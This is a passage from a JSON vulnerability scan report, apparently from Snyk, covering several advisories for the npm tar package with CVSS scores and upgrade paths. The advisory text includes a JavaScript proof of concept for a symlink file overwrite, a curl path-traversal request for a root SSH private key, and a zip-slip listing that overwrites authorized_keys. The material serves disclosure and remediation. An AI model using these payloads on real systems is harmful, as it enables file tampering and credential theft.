"CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ 